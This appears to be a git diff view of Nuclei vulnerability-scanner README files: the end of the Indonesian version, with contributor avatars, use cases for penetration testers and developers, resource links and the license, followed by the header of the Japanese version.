<a href="https://github.com/jimen0"><img src="https://avatars.githubusercontent.com/u/6826244?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xstevens"><img src="https://avatars.githubusercontent.com/u/69216?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mjkim610"><img src="https://avatars.githubusercontent.com/u/17107206?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/organiccrap"><img src="https://avatars.githubusercontent.com/u/376317?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lu4nx"><img src="https://avatars.githubusercontent.com/u/3006875?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/souvikhazra1"><img src="https://avatars.githubusercontent.com/u/13842393?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tovask"><img src="https://avatars.githubusercontent.com/u/22732484?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Marmelatze"><img src="https://avatars.githubusercontent.com/u/199681?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/doug-threatmate"><img src="https://avatars.githubusercontent.com/u/127235272?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/yabeow"><img src="https://avatars.githubusercontent.com/u/21117771?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/olearycrew"><img src="https://avatars.githubusercontent.com/u/6044920?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gano3s"><img src="https://avatars.githubusercontent.com/u/2551605?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alizmhdi"><img src="https://avatars.githubusercontent.com/u/79321261?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hackerpain"><img src="https://avatars.githubusercontent.com/u/61242234?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lc"><img src="https://avatars.githubusercontent.com/u/19563282?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/savushkin-yauheni"><img src="https://avatars.githubusercontent.com/u/5173352?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/74616e696d"><img src="https://avatars.githubusercontent.com/u/97121933?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/edoardottt"><img src="https://avatars.githubusercontent.com/u/35783570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zt2"><img src="https://avatars.githubusercontent.com/u/7644862?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/moonD4rk"><img src="https://avatars.githubusercontent.com/u/24284231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wk8"><img src="https://avatars.githubusercontent.com/u/2536231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mikerott"><img src="https://avatars.githubusercontent.com/u/857712?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/toufik-airane"><img src="https://avatars.githubusercontent.com/u/5610269?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hktalent"><img src="https://avatars.githubusercontent.com/u/18223385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jturner"><img src="https://avatars.githubusercontent.com/u/1825202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gaby"><img src="https://avatars.githubusercontent.com/u/835733?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vavkamil"><img src="https://avatars.githubusercontent.com/u/47953210?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leonjza"><img src="https://avatars.githubusercontent.com/u/1148127?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mionskowski-form3"><img src="https://avatars.githubusercontent.com/u/91873652?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chenrui333"><img src="https://avatars.githubusercontent.com/u/1580956?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamargus95"><img src="https://avatars.githubusercontent.com/u/77744293?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shashikarsiddharth"><img src="https://avatars.githubusercontent.com/u/60960197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/trypa11"><img src="https://avatars.githubusercontent.com/u/67585616?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Zeokat"><img src="https://avatars.githubusercontent.com/u/1313154?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alban-stourbe-wmx"><img src="https://avatars.githubusercontent.com/u/159776828?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/anykno"><img src="https://avatars.githubusercontent.com/u/2528207?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ronaudinho"><img src="https://avatars.githubusercontent.com/u/10264710?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/boy-hack"><img src="https://avatars.githubusercontent.com/u/18695984?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iuliu8899"><img src="https://avatars.githubusercontent.com/u/31680027?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/debasishbsws"><img src="https://avatars.githubusercontent.com/u/65381620?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denysvitali-niantic"><img src="https://avatars.githubusercontent.com/u/157139422?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fail-open"><img src="https://avatars.githubusercontent.com/u/72417455?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Xc1Ym"><img src="https://avatars.githubusercontent.com/u/29765332?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/XTeam-Wing"><img src="https://avatars.githubusercontent.com/u/25416365?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Weltolk"><img src="https://avatars.githubusercontent.com/u/40228052?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tonghuaroot"><img src="https://avatars.githubusercontent.com/u/23011166?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/praetorian-thendrickson"><img src="https://avatars.githubusercontent.com/u/69640071?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/S0obi"><img src="https://avatars.githubusercontent.com/u/4180104?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skahn007gl"><img src="https://avatars.githubusercontent.com/u/144735608?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shouichi"><img src="https://avatars.githubusercontent.com/u/99586?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seb-elttam"><img src="https://avatars.githubusercontent.com/u/111818823?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AdallomRoy"><img src="https://avatars.githubusercontent.com/u/4046118?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rotemreiss"><img src="https://avatars.githubusercontent.com/u/9288082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/oscarintherocks"><img src="https://avatars.githubusercontent.com/u/1785821?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xxcdd"><img src="https://avatars.githubusercontent.com/u/42600601?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chen2aaron"><img src="https://avatars.githubusercontent.com/u/9978183?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/voidz0r"><img src="https://avatars.githubusercontent.com/u/1032286?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vince-isec"><img src="https://avatars.githubusercontent.com/u/149686094?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/true13"><img src="https://avatars.githubusercontent.com/u/18207552?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skhalsa-sigsci"><img src="https://avatars.githubusercontent.com/u/68570441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShuBo6"><img src="https://avatars.githubusercontent.com/u/41125338?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seeyarh"><img src="https://avatars.githubusercontent.com/u/16869800?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/securibee"><img src="https://avatars.githubusercontent.com/u/51520913?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sduc"><img src="https://avatars.githubusercontent.com/u/2879617?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/scottdharvey"><img src="https://avatars.githubusercontent.com/u/25498254?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rykkard"><img src="https://avatars.githubusercontent.com/u/51889048?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/monitor403"><img src="https://avatars.githubusercontent.com/u/45124775?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mlec1"><img src="https://avatars.githubusercontent.com/u/42201667?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/meme-lord"><img src="https://avatars.githubusercontent.com/u/17912559?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LazyMaple"><img src="https://avatars.githubusercontent.com/u/12314941?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lvyaoting"><img src="https://avatars.githubusercontent.com/u/166296299?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/llussy"><img src="https://avatars.githubusercontent.com/u/18432966?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/linchizhen"><img src="https://avatars.githubusercontent.com/u/170242051?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kiokuless"><img src="https://avatars.githubusercontent.com/u/110003596?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Jarnpher553"><img src="https://avatars.githubusercontent.com/u/10233873?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/c-f"><img src="https://avatars.githubusercontent.com/u/35263248?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hanghuge"><img src="https://avatars.githubusercontent.com/u/166206050?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/testwill"><img src="https://avatars.githubusercontent.com/u/8717479?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/galoget"><img src="https://avatars.githubusercontent.com/u/8353133?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fudancoder"><img src="https://avatars.githubusercontent.com/u/171416994?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revolunet"><img src="https://avatars.githubusercontent.com/u/124937?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jsoref"><img src="https://avatars.githubusercontent.com/u/2119212?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MachadoOtto"><img src="https://avatars.githubusercontent.com/u/93268441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jonathanwalker"><img src="https://avatars.githubusercontent.com/u/14978093?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nHurD"><img src="https://avatars.githubusercontent.com/u/233374?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jessekelly881"><img src="https://avatars.githubusercontent.com/u/22938931?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/JaneX8"><img src="https://avatars.githubusercontent.com/u/5116641?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/atomiczsec"><img src="https://avatars.githubusercontent.com/u/75549184?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/M-Faheem-Khan"><img src="https://avatars.githubusercontent.com/u/17150767?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denandz"><img src="https://avatars.githubusercontent.com/u/5291556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tibbon"><img src="https://avatars.githubusercontent.com/u/82880?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dany74q"><img src="https://avatars.githubusercontent.com/u/2129762?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0x123456789"><img src="https://avatars.githubusercontent.com/u/36066426?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/danigoland"><img src="https://avatars.githubusercontent.com/u/15079567?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ChrisMandich"><img src="https://avatars.githubusercontent.com/u/14286797?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/austintraver"><img src="https://avatars.githubusercontent.com/u/25112463?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/socialsister"><img src="https://avatars.githubusercontent.com/u/155628741?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Anemys"><img src="https://avatars.githubusercontent.com/u/51196227?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/andreangelucci"><img src="https://avatars.githubusercontent.com/u/18552197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AlexS778"><img src="https://avatars.githubusercontent.com/u/98418121?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/noraj"><img src="https://avatars.githubusercontent.com/u/16578570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/akkuman"><img src="https://avatars.githubusercontent.com/u/7813511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zrquan"><img src="https://avatars.githubusercontent.com/u/33086594?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1efty"><img src="https://avatars.githubusercontent.com/u/18194777?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rsrdesarrollo"><img src="https://avatars.githubusercontent.com/u/5142014?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/razin99"><img src="https://avatars.githubusercontent.com/u/44442082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MetzinAround"><img src="https://avatars.githubusercontent.com/u/65838556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vil02"><img src="https://avatars.githubusercontent.com/u/65706193?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
**Untuk Penguji Penetrasi:**
|
||||
<sub>**`nuclei`** didistribusikan di bawah [**Lisensi MIT**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)</sub>
|
||||
|
||||
Nuclei sangat meningkatkan cara Anda mendekati penilaian keamanan dengan menambah proses manual yang berulang. Para konsultan sudah mengonversi langkah penilaian manual mereka dengan Nuclei, ini memungkinkan mereka untuk menjalankan serangkaian pendekatan penilaian khusus mereka di ribuan host secara otomatis.
|
||||
|
||||
Para penguji penetrasi mendapatkan kekuatan penuh dari templat publik dan kemampuan penyesuaian kami untuk mempercepat proses penilaian mereka, dan khususnya dengan siklus regresi di mana Anda dapat dengan mudah memverifikasi perbaikannya.
|
||||
|
||||
- Mudah untuk membuat daftar pemeriksa kepatuhan Anda, sederet standar (mis., OWASP 10 Teratas).
|
||||
- Dengan kemampuan seperti [fuzz](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/) dan [alur kerja](https://nuclei.projectdiscovery.io/templating-guide/workflows/), langkah manual yang rumit dan penilaian berulang dapat dengan mudah diotomatisasi dengan Nuclei.
|
||||
- Mudah untuk menguji ulang perbaikan kerentanan hanya dengan menjalankan ulang template.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
# Untuk Pengembang dan Organisasi
|
||||
|
||||
Nuclei dibangun dengan kesederhanaan dalam pemikiran, dengan templat yang didukung komunitas oleh ratusan peneliti keamanan, memungkinkan Anda untuk tidak tertinggal dengan ancaman keamanan terbaru menggunakan pemindaian Nuclei terus menerus pada host. Ini dirancang agar mudah diintegrasikan ke dalam siklus pengujian regresi, untuk memverifikasi perbaikan dan menghilangkan kerentanan agar tidak terjadi di masa mendatang.
|
||||
|
||||
- **CI/CD:** Pengembang sudah memanfaatkan Nuclei dalam aliran CI/CD mereka, ini memungkinkan mereka untuk terus memantau lingkungan pementasan dan produksi mereka dengan templat yang disesuaikan.
|
||||
- **Siklus Regresi Berkelanjutan:** Dengan Nuclei, Anda dapat membuat templat khusus pada setiap kerentanan baru yang teridentifikasi dan dimasukkan ke dalam mesin Nuclei untuk dihilangkan dalam siklus regresi berkelanjutan.
|
||||
|
||||
Kami memiliki [utas diskusi tentang ini](https://github.com/projectdiscovery/nuclei-templates/discussions/693), sudah ada beberapa program celah berhadiah yang memberikan insentif kepada peretas untuk menulis templat inti dengan setiap pengiriman, yang membantu mereka untuk menghilangkan kerentanan di semua aset mereka, serta untuk menghilangkan risiko masa depan yang muncul kembali pada lingkungan produksi. Jika Anda tertarik untuk menerapkannya di organisasi Anda, jangan ragu untuk [menghubungi kami](mailto:[email protected]). Kami akan dengan senang hati membantu Anda dalam proses memulai, atau Anda juga dapat memposting ke [utas diskusi](https://github.com/projectdiscovery/nuclei-templates/discussions/693) untuk bantuan apapun.
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/regression-with-nuclei.jpg" alt="Siklus Regresi Berkelanjutan dengan Nuclei" width="1100px"></a>
|
||||
</h3>
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://github.com/projectdiscovery/nuclei-action"><img src="static/learn-more-button.png" width="170px" alt="Pelajari Selengkapnya"></a>
|
||||
</h1>
|
||||
|
||||
### Sumber Daya
|
||||
|
||||
- [Menemukan bug dengan menggunakan Nuclei dengan PinkDraconian (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) oleh **[@PinkDraconian](https://twitter.com/PinkDraconian)**
|
||||
- [Nuclei: Mengemas Pukulan dengan Pemindaian Kerentanan](https://bishopfox.com/blog/nuclei-vulnerability-scan) oleh **Bishopfox**
|
||||
- [Kerangka kemanjuran WAF](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) oleh **Fastly**
|
||||
- [Memindai Aplikasi Web Langsung dengan Nuclei di Aliran CI/CD](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) oleh **[@TristanKalos](https://twitter.com/TristanKalos)**
|
||||
- [Pemindaian Bertenaga Komunitas dengan Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)
|
||||
- [Nuclei Unleashed - Menulis eksploitasi kompleks dengan cepat](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)
|
||||
- [Nuclei - Fuzz semua hal](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)
|
||||
- [Integrasi Nuclei + Interactsh untuk Mengotomatiskan Pengujian OOB](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)
|
||||
- [Mempersenjatai Alur Kerja Nuclei untuk Menghancurkan Semua Hal](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) oleh **[@dwisiswant0](https://github.com/dwisiswant0)**
|
||||
- [Bagaimana Memindai Terus-menerus dengan Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) oleh **[@dwisiswant0](https://github.com/dwisiswant0)**
|
||||
- [Retas dengan Otomatisasi !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) oleh **[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)**
|
||||
|
||||
### Kredit
|
||||
|
||||
Terima kasih kepada semua komunitas yang luar biasa yang [berkontribusi untuk mengirimkan PR](https://github.com/projectdiscovery/nuclei/graphs/contributors). Lihat juga proyek sumber-terbuka serupa di bawah ini yang mungkin sesuai dengan alur kerja Anda:
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
|
||||
### Lisensi
|
||||
|
||||
Nuclei didistribusikan di bawah [Lisensi MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Cek Dokumentasi Nuclei"></a>
|
||||
</h1>
|
||||
</div>
|
||||
+636
-139
@@ -1,173 +1,670 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||

|
||||
|
||||
<h4 align="center">シンプルなYAMLベースのDSLに基づいた高速でカスタマイズ可能な脆弱性スキャナー</h4>
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
